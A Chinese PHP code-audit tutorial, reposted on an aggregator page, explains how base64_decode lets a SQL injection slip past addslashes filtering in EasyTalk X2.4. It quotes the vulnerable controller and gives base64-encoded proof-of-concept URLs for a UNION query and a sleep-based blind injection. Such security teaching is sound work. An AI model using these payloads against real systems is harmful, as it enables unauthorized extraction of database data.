【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 3.全域防護Bypass之Base64Decode

來源:互聯網
上載者:User

標籤:

0x01 背景

現在的WEB程式基本都有對SQL注入的全域過濾,像PHP開啟了GPC或者在通用檔案common.php上使用addslashes()函數對接收的參數進行過濾,尤其是單引號。同上一篇,我們需要找一些編碼解碼的函數來繞過全域防護,本篇介紹base64decode()的情況。
漏洞來源於烏云:http://www.wooyun.org/bugs/wooyun-2014-050338

0x02 環境搭建

看背景我們使用了低版本的easytalk程式,版本為X2.4
①源碼我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解壓到www的easytalk目錄下,按照提示一步步安裝即可,遇到問題自行百度或Google,成功後訪問如:

0x03 漏洞分析

首先看下源碼結構,用的ThinkPHP架構,比較複雜:

有興趣的可以去研究下再繼續往下看,新手可以知道ThinkPHP對接收的參數是有過濾的,並且根據你伺服器是否開啟GPC會做相應的處理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php檔案第266行:

<?php
/**
+----------------------------------------------------------
* 如果 magic_quotes_gpc 為關閉狀態,這個函數可以逸出字元串
+----------------------------------------------------------
* @access public
+----------------------------------------------------------
* @param string $string 要處理的字串
+----------------------------------------------------------
* @return string
+----------------------------------------------------------
*/
static public function addSlashes($string) {
if (!get_magic_quotes_gpc()) {
$string = addslashes($string);
}
return $string;
}

 

2.使用Seay代碼審計系統的全域搜尋功能,搜尋包含關鍵字為”base64_decode”的檔案,發現SettingAction.class.php包含一個對接收的參數auth進行base64_decode的地方:

3.我們跟進這個php檔案,發現雖然使用daddslashes函數進行了注入過濾,但是使用了base64_decode函數對參數auth進行了轉碼從而可以繞過過濾造成注入:

//認證電子郵件
public function doauth() {
$_authmsg=daddslashes($_GET[‘auth‘]);//再次判斷GPC是否開啟並進行注入過濾
$authmsg=base64_decode($_authmsg);//base64_decode函數對參數進行轉碼處理
$tem=explode(":",$authmsg);//對解碼後的參數authmsg按照“:”進行分割存入數組tem中
$send_id=$tem[0];
$user=M(‘Users‘);

$row = $user->field(‘mailadres,auth_email‘)->where("user_id=‘$send_id‘")->find();//帶入查詢,在where子句裡,造成注入
if ($_authmsg==$row[‘auth_email‘]) {
$user->where("user_id=‘$send_id‘")->setField(‘auth_email‘,1);
setcookie(‘setok‘, json_encode(array(‘lang‘=>L(‘mail6‘),‘ico‘=>1)),0,‘/‘);
} else {
setcookie(‘setok‘, json_encode(array(‘lang‘=>L(‘mail7‘),‘ico‘=>2)),0,‘/‘);
}
header(‘location:‘.SITE_URL.‘/?m=setting&a=mailauth‘);
}

 

0x04 漏洞證明

構造擷取資料庫相關資訊的POC:

http://localhost/eazytalk/?m=setting&a=doauth&auth=aGFja2luZycgdW5pb24gc2VsZWN0IHVzZXIoKSwyIw==

查看sql語句發現成功執行:

發現這裡是一個盲注,並沒有輸出,所以我們使用sql盲注的語句。擷取當前資料庫使用者名稱的第一個字元是不是‘r’(ascii值為114)的POC:

http://localhost/eazytalk/?m=index&a=mailactivity&auth=MicgYW5kIChzZWxlY3QgaWYoKGFzY2lpKHN1YnN0cmluZygoc2VsZWN0IHVzZXIoKSksMSwxKSkgPSAxMTQpLHNsZWVwKDUpLDApKSM=

頁面持續了5秒,說明user()的第一個字元為‘r’,查看sql語句發現成功執行:

最後,有興趣的同學可以自己寫個py指令碼來跑這種盲注。

原文連結:http://www.cnbraid.com/2016/02/18/sql2/,如需轉載請聯絡作者。

【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 3.全域防護Bypass之Base64Decode

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.